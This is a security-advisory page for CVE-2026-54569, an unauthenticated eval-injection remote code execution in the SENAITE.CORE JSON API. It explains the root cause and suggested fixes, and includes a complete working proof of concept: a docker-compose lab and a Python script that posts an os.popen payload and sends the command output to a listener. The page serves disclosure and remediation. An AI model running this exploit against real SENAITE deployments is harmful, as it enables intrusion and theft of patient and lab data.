Skip to main content

SENAITE.CORE CVE-2026-54569

| EUVDEUVD-2026-66596 CRITICAL
Eval Injection (CWE-95)
2026-08-26 https://github.com/senaite/senaite.core GHSA-jrw6-7x4q-w25j
9.8
CVSS 3.1 · Vendor: https://github.com/senaite/senaite.core
Share

Severity by source

Vendor (https://github.com/senaite/senaite.core) PRIMARY
9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
9.8 CRITICAL

Anonymous, network-reachable two-request chain with no user interaction against default config yields AV:N/AC:L/PR:N/UI:N; arbitrary Python in the worker gives full C/I/A within the same security scope.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/senaite/senaite.core).

CVSS VectorVendor: https://github.com/senaite/senaite.core

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 26, 2026 - 15:46 vuln.today
Analysis Generated
Aug 26, 2026 - 15:46 vuln.today
CVE Published
Aug 26, 2026 - 15:28 github-advisory
CRITICAL 9.8

DescriptionCVE.org

Summary

An unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The /@@API/update route is reachable to anonymous callers and runs eval() on attacker-controlled input before any permission check fires.

This is a different code path from the eval() in the calculations module: no authenticated account of any kind is required.

Details

The vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the eval sink remains exploitable by any authenticated user with write access to a RecordsField, so both fixes are needed.

1. Missing AccessJSONAPI gate on JSON API write routes (CWE-862). The route at src/bika/lims/jsonapi/update.py:45-165 does not enforce the senaite.core: Access JSON API permission upfront. Compare with the sibling create.py:179-182, which does:

python
if not getSecurityManager().checkPermission(AccessJSONAPI, parent):
    raise Unauthorized(...)

The check is present on create and absent on update, update_many, remove, doActionFor, doActionFor_many, and getusers. The underlying @@API view is registered by plone.jsonapi.core at browser/configure.zcml:8-13 with permission="zope2.View", which is granted to Anonymous on the Plone Site root.

When an obj_uid is supplied, the route resolves the target through uid_catalog and brain.getObject(). The catalog brain walks the parent path with unrestrictedTraverse and applies restrictedTraverse only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because bika_setup is anonymous-readable on a stock Plone Site (the View permission is acquired from the Plone Site root, which grants View to Anonymous by default).

2. eval() on RecordsField / RecordField values inside set_fields_from_request (CWE-95). Once an object has been resolved, set_fields_from_request in jsonapi/__init__.py:199-252 iterates the request fields. For any field of type RecordsField or RecordField, the helper runs eval(value) on the raw request string at line 240, before the field mutator and its write_permission check execute:

python
elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
                   'senaite.core.browser.fields.record.RecordField']:
    try:
        value = eval(value)
    except Exception:
        logger.warning(
            "JSONAPI: " + fieldname + ": Invalid "
            "JSON/Python variable")
        return []

The eval runs in the Zope worker process with full Python builtins available, so a payload such as __import__('os').popen('id').read() executes arbitrary system commands. The transaction savepoint inside update.py rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted.

The same eval() pattern is also present in the field setters at record.py:253-262 and records.py:135-143.

Anonymous UID discovery. The bika_setup object exposes two RecordsField-typed fields: RejectionReasons and IDFormatting. Its UID is published anonymously by Plone's standard @@uuid view:

GET /senaite/bika_setup/@@uuid HTTP/1.1
HTTP/1.1 200 OK
Content-Type: text/plain

8dbc161fa9f74aa4ad6e76eb1934518a

Origin. Both flaws predate the SENAITE fork. The eval() sink was introduced in d7bf2d4507 (2013-09-04) and the unchecked update route in be3d8cc916 (2013). Both remain present on the current 2.x development tip.

Suggested fixes

Fix 1: add AccessJSONAPI check to every state-changing route in src/bika/lims/jsonapi/, mirroring the existing check in create.py. An audit of every IRouteProvider in configure.zcml is in scope.

python
# src/bika/lims/jsonapi/update.py
from AccessControl import getSecurityManager
from zExceptions import Unauthorized
from senaite.core.permissions import AccessJSONAPI

def update(self, context, request):
    if not getSecurityManager().checkPermission(AccessJSONAPI, context):
        raise Unauthorized("You don't have permission to update via JSONAPI")
    savepoint = transaction.savepoint()
    ...

Fix 2: replace eval() with json.loads(). The data shape stored in RecordField and RecordsField is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely:

python
# src/bika/lims/jsonapi/__init__.py
import json

elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
                   'senaite.core.browser.fields.record.RecordField']:
    try:
        value = json.loads(value)
    except (ValueError, TypeError):
        logger.warning("JSONAPI: %s: invalid JSON value", fieldname)
        return []

Apply the same change at record.py:253-262 and records.py:135-143.

Defense in depth: re-enable Plone's CSRF protection. The audited release ships with class ISenaiteCore(IDisableCSRFProtection) at src/senaite/core/interfaces/__init__.py:30, which disables plone.protect's automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains.

PoC

Tested against the unmodified upstream Docker image senaite/senaite:v2.6.0. No source-code modification, no buildout overrides, no reverse proxy. PASSWORD is set to a non-default value to demonstrate that the chain works without the admin:admin Docker fallback.

docker-compose.yml

yaml
services:
  senaite:
    image: senaite/senaite:v2.6.0
    ports:
      - "8080:8080"
    environment:
      PASSWORD: senaitestrong
# non-default; chain is credential-free
      SITE: senaite
    networks:
      - poc

  listener:
    image: python:3.11-alpine
    command:
      - python
      - -c
      - |
        import http.server, socketserver
        log = []
        class H(http.server.BaseHTTPRequestHandler):
            def do_GET(self):
                if self.path.startswith('/log'):
                    self.send_response(200); self.send_header('Content-Type', 'text/plain'); self.end_headers()
                    self.wfile.write(('\n'.join(log)).encode())
                else:
                    log.append(self.path)
                    self.send_response(200); self.end_headers(); self.wfile.write(b'ok')
            def log_message(self, *a, **k): pass
        socketserver.TCPServer.allow_reuse_address = True
        with socketserver.TCPServer(('', 8000), H) as s: s.serve_forever()
    ports:
      - "8000:8000"
    networks:
      - poc

networks:
  poc:

poc.py

python
#!/usr/bin/env python3
"""PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0"""
import sys, time, urllib.error, urllib.parse, urllib.request

TARGET = "http://localhost:8080"
SITE = "senaite"
LISTENER_HOST = "http://localhost:8000"
LISTENER_INSIDE = "http://listener:8000"

PAYLOAD = (
    "__import__('urllib2').urlopen("
    f"'{LISTENER_INSIDE}/?id=' + "
    "__import__('os').popen('id').read().replace(' ', '_').replace('\\n', '_')"
    ")"
)

def http_get(url, timeout=5):
    req = urllib.request.Request(url, headers={"Accept": "*/*"})
    return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")

def http_post(url, fields, timeout=10):
    body = urllib.parse.urlencode(fields).encode()
    req = urllib.request.Request(url, data=body, method="POST")
    return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")

def wait_for_target():
    deadline = time.time() + 600
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(f"{TARGET}/{SITE}/login_form", timeout=3) as r:
                if r.status == 200: return
        except Exception: pass
        time.sleep(3)
    sys.exit(1)

def discover_bika_setup_uid():
    body = http_get(f"{TARGET}/{SITE}/bika_setup/@@uuid", timeout=5).strip()
    if len(body) == 32 and all(c in "0123456789abcdef" for c in body):
        return body
    sys.exit(1)

def fire_payload(uid):
    try:
        http_post(f"{TARGET}/{SITE}/@@API/update",
                  {"obj_uid": uid, "RejectionReasons": PAYLOAD})
    except urllib.error.HTTPError:
        pass

def read_listener():
    time.sleep(1)
    try:
        log = http_get(f"{LISTENER_HOST}/log", timeout=3)
    except Exception:
        return False
    return "id=" in log

if __name__ == "__main__":
    wait_for_target()
    uid = discover_bika_setup_uid()
    fire_payload(uid)
    sys.exit(0 if read_listener() else 1)

Run

docker compose up -d
# wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning
python3 poc.py

Expected output

[+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0
    captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_

The captured query string is the stdout of id from the SENAITE Zope worker, fetched by the worker's urllib2.urlopen call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials.

Impact

Vulnerability type: Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection).

Who is impacted: Every SENAITE deployment whose Plone Site root grants View to Anonymous (the upstream default) and whose /@@API/... endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships 8080:8080 plain HTTP and /manage (ZMI) exposed.

Attacker capability after exploit:

  • Arbitrary Python execution in the Zope worker process.
  • Full read/write access to the ZODB (Data.fs and blobstorage), so any patient/lab data the LIMS holds.
  • Filesystem access on the container's /data volume.
  • Outbound network egress from the worker.
  • Direct access to acl_users (the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed /manage ZMI, this gives durable post-exploitation access.

Affected versions: All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0).

Credits

Discovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security.

  • Dr. Simon Weber
  • Dipl.-Inf. Volker Schönefeld
  • Chiara Fliegner

Website: https://machinespirits.com

AnalysisAI

Unauthenticated remote code execution in SENAITE.CORE (senaite.core) 2.0.0 through 2.6.0 lets any network-reachable attacker run arbitrary Python in the Zope worker process by chaining a missing authorization check with an eval() sink in the JSON API. The anonymous-reachable /@@API/update route calls eval() on attacker-supplied RecordsField/RecordField values before any permission or write check fires, and a public working PoC (tested against the stock senaite/senaite:v2.6.0 Docker image) demonstrates credential-free command execution. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
technique details hidden
Delivery
technique details hidden
Exploit
technique details hidden
Execution
technique details hidden
Persist
technique details hidden
Impact
technique details hidden

Vulnerability AssessmentAI

Exploitation No credentials are required: exploitation works against a default SENAITE/Plone configuration where the Site root grants View to Anonymous (the upstream default) and the /@@API/ JSON API endpoints are network-reachable - matching the stock senaite/senaite:v2.6.0 Docker image that exposes 8080 in plain HTTP. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This is a genuine top-priority issue, not a high-CVSS-but-low-real-risk case. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Upgrade to a SENAITE.CORE release that incorporates the upstream fixes in pull requests #2903 (https://github.com/senaite/senaite.core/pull/2903) and #2919 (https://github.com/senaite/senaite.core/pull/2919), which replace eval() with a safe ast.literal_eval-based parse_record_literal helper (commits a24d65e99a17ac43c5374ed9f0a60d0fe60d2f74 and ef4b6d73575b0fbc0edc6114e5e025089aaf9eb7); no fixed release version is recorded in the advisory package metadata, so confirm the target tag with the vendor before deploying. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory all deployed instances of SENAITE.CORE and identify versions 2.0.0 through 2.6.0; immediately implement network access controls to restrict traffic to the /@@API/update endpoint if systems are exposed to untrusted networks. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

Share

CVE-2026-54569 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy